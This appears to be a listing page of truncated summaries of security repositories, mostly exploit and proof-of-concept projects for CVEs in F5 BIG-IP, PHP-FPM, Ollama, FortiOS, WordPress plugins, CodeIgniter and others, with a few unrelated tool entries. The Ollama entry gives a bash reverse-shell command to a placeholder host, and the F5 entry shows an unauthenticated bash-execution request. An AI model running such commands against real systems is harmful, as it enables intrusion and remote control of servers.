CVE-2022-1388-Scanner

F5 CVE-2022-1388 扫描器 BIG-IP iControl REST 漏洞 CVE-2022-1388 扫描器 用法 pip install -r requirements.txt pytohn3 CVE-2022-1388-Scanner.py 请求 POST /mgmt/tm/util/bash HTTP/1.1 Host: REDACTED:8083 Content-Length: 45 Connection: Keep-Alive, X-F5-Auth-Token Cache-Control: max-age=0 X-F5-Auth-Token: vvs...

PHP-FPM-Remote-Code-Execution-Vulnerability-CVE-2019-11043-

CVE-2019-11043 1.脆弱性の説明 Nginx上でfastcgi split path infoが%0aを含むリクエストを処理する際、改行文字\nによりPATH INFOが空になります。php-fpmはPATH INFOが空の場合、論理的な欠陥が存在します。攻撃者は巧妙に構築して利用することで、リモートコード実行を引き起こす可能性があります。 影響範囲 Nginx + php-fpm のサーバーで、以下の設定を使用している場合、リモートコード実行の脆弱性が存在する可能性があります。 location ^ /小.php/|$ fastcgi split path info ^....

git-lfs-RCE-exploit-CVE-2020-27955-Go

Git-lfs Remote Code Execution RCE exploit CVE-2020-27955 Go 版 脆弱性あり: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken など 発見者: Dawid Golunski https://legalhackers.com https://exploitbox.io Windows 上で以下に対してテスト済み: git, GitHub CLI gh, GitHub Desktop, Visual Stud...

CVE-2024-28397-command-execution-poc

CVE-2024-28397-command-execution-poc 此漏洞源于 js2py 中不完整的沙箱隔离，精心构造的 JavaScript 可以遍历 Python 的内部对象模型，并访问危险的类（如 subprocess.Popen），从而导致任意命令执行。 JSON-Parsers & RCE Exploit PoC 概述 本仓库包含一个概念验证（PoC）载荷，演示了通过js2py.disablepyimport 实现的沙箱逃逸——这是 js2py 0.74 及之前版本中的一个漏洞。 当应用程序不安全地评估或解析用户提供的 JSON/JavaScript...

CVE-2025-47550

Instantio - WordPressプラグイン 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0: mtu 15...

CVE-2024-3094_xz_check

CVE-2024-3094 xz チェックスクリプト このリポジトリには、CVE-2024-3094 で指定された脆弱なバージョンの「xz」ユーティリティがシステムで実行されているかどうかを確認するための Bash スクリプトとワンライナーコマンドが含まれています。 以下の説明と影響の記述は、RedHat から入手可能な情報に基づいています https://access.redhat.com/security/cve/CVE-2024-3094: "悪意のあるコードが、バージョン 5.6.0 以降の「xz」の上流 tarball で特定されました。このコードは、liblzma...

⚡ Weekly Recap: NetScaler and FortiMail 0-Days, AI Coding Leaks, Spectre v2 and Ransomware Arrests

A blank field. A public repo. One reply to an email. A box left exposed. None of this sounds dramatic, which is partly the problem. This week’s threats keep finding leverage in small things that were easy to overlook. There are actively exploited bugs in the mix, cleaner intrusion paths, smarter...

Python-exploit-CVE-2020-25213

説明 WordPress用プラグイン「File Manager wp-file-manager」のバージョン6.9未満では、安全でないサンプルelFinderコネクタファイルを.php拡張子にリネームするため、リモート攻撃者が任意のPHPコードをアップロードして実行できます。これにより、攻撃者はelFinderのupload（またはmkfileとput）コマンドを実行して、wp-content/plugins/wp-file-manager/lib/files/ディレクトリにPHPコードを書き込むことが可能です。この脆弱性は2020年8月から9月にかけて実際に悪用されました。 デモ...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama 远程代码执行 CVE-2024-37032 CVE-2024-45436 需要在Linux下运行，环境需要安装gcc 安装golang，执行以下命令反弹shell go run main.go -target http://127.0.0.1:11434/ -exec "bash -i & /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0&1" 注意：利用可能需要几分钟，请耐心等待...

Groovy-scripting-engine-CVE-2015-1427

ElasticSearch Groovy サンドボックス回避 && コード実行脆弱性（CVE-2015-1427）テスト環境 jreバージョン：openjdk:8-jre elasticsearchバージョン：v1.4.2 原理 参考記事： http://cb.drops.wiki/drops/papers-5107.html http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/ https://github.com/XiphosResearch/exploits...

cve-2022-42475

FortiOS SSL-VPN ヒープオーバーフローの脆弱性 cve-2022-42475 https://nvd.nist.gov/vuln/detail/CVE-2022-42475 FortinetのSSLVPNデーモンにおけるヒープオーバーフローを悪用するPOCコード 注意事項 これは簡易的なPOCであり、非常に運が良くない限り、おそらくどこでも動作しません。バージョン依存であり、システムごとに変更される可能性が高いハードコードされたオフセットがいくつか含まれています。 使用方法 python3 cve-2022-42475.py rhost rport lhost...

CVE-2023-42819

CVE-2023-42819 CVE-2023-42819 脆弱性説明 JumpServer 任意ファイル書き込み脆弱性 CVE-2023-42819 + CVE-2023-42820 = GetShell USAGE 1. スクリプトと必要なファイルを同じディレクトリに配置します 2. Google Chrome がインストールされていることを確認し、Google Chrome のバージョン番号を取得します reg query "HKEYCURRENTUSER\Software\Google\Chrome\BLBeacon" /v version 3. Google Chrome...

Security update for the Linux Kernel (Live Patch 43 for SUSE Linux Enterprise 15 SP5)

This update for the SUSE Linux Enterprise Kernel 5.14.21-150500.55.177 fixes various security issues: The following security issues were fixed: CVE-2026-63888: scsi: target: iscsi: Fix CRC overread and double-free in iscsithandletextcmd bsc1272391. CVE-2026-63917: ip6: vti: Use ip6tnl.net in...

CVE-2026-48711

A flaw was found in SSHFS, a network filesystem client. An attacker can exploit this vulnerability by providing a specially crafted mount source that includes argument delimiters. This improper handling of the mount source allows for argument injection, leading to the execution of arbitrary...

heisenberg-ssc-gha

Heisenberg 依存関係ヘルスチェック GitHub Action 軽量な依存関係更新用のPRガードレールです。 ロックファイルやマニフェストから新しく追加・変更された依存関係のみをスキャンし、deps.devとヒューリスティックによる健全性・リスクシグナルを取得、新規公開をフラグ付けし、PRにレポートをコメントし、オプションでセキュリティレビュー用のラベルを付け、ポリシーに違反した場合にジョブを失敗させることもできます。 対応エコシステム: PyPI poetry.lock, requirements.txt, uv.lock, npm/yarn package-lock.jso...

CVE-2024-7627-PoC

CVE-2024-7627-PoC 背景 このProof-of-Concept（PoC）スクリプトは、WordPressプラグインBit File Managerバージョン6.0～6.5.5における、競合状態を利用した認証なしリモートコード実行の脆弱性（CVE-2024-7627）に対するものです。 情報 説明： WordPress用プラグインBit File...

envocabulary

envocabulary 現在のシェルにあるすべての変数について、それを設定したファイルと行、あるいはどのサブシステム（direnv、launchd、ターミナル、SSH、システム）が注入したのかを特定します。さらに、シェル設定が N 個のファイルとバックアップに散らばって見失ったときのための、静的ファイル向けコマンドもいくつか用意しています。 これを作ったのは、数か月ごとに同じ 1 時間を無駄にして、なぜ JAVAHOME や PATH が予想外の場所を指しているのかを追いかけていたからです。which はコマンドを知り、direnv status は direnv...

Next.js-Exploit-Tool

Next.js-Exploit-Tool Next.js-Exploit-Tool グラフィカル総合利用ツール。 概要 CVE-2025-55182 に特化した独立したセキュリティ評価ツールです。Go で開発され、グラフィカルユーザーインターフェース（GUI）を提供し、脆弱性の検出と検証を迅速に行います。 更新履歴 v1.3.0 Godzilla（ゴジラ）メモリシェル（メモリーホース）サポートを追加 Node.js ベースの Godzilla メモリシェル注入機能を実装しました。このペイロードは、北晨师傅のプロジェクトGodzillaNodeJsPayload と併用する必要があります。...

CVE-2026-63223-POC

CVE-2026-63223 PoC — CodeIgniter 4 文件上传 RCE CVSS 9.8（严重） | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE-434 ：危险类型文件的不受限制上传 修复版本 ：CodeIgniter 4 v4.7.4 安全公告 ：GHSA-mmj4-63m4-r6h5 漏洞摘要 CodeIgniter 4 的 isimage 和 mimein 文件上传验证规则仅检查基于内容派生的 MIME 类型 （魔数），而不检查 客户端提供的文件扩展名。 未认证的攻击者可以在 PHP webshell...

Imperva_gzip_bypass

Imperva Web Application Firewall WAF POST Request Bypass Imperva Cloud WAF was vulnerable to a bypass that allows attackers to evade WAF rules when sending malicious HTTP POST payloads, such as log4j exploits, SQL injection, command execution, directory traversal, XXE, etc. Remediation The Imperv...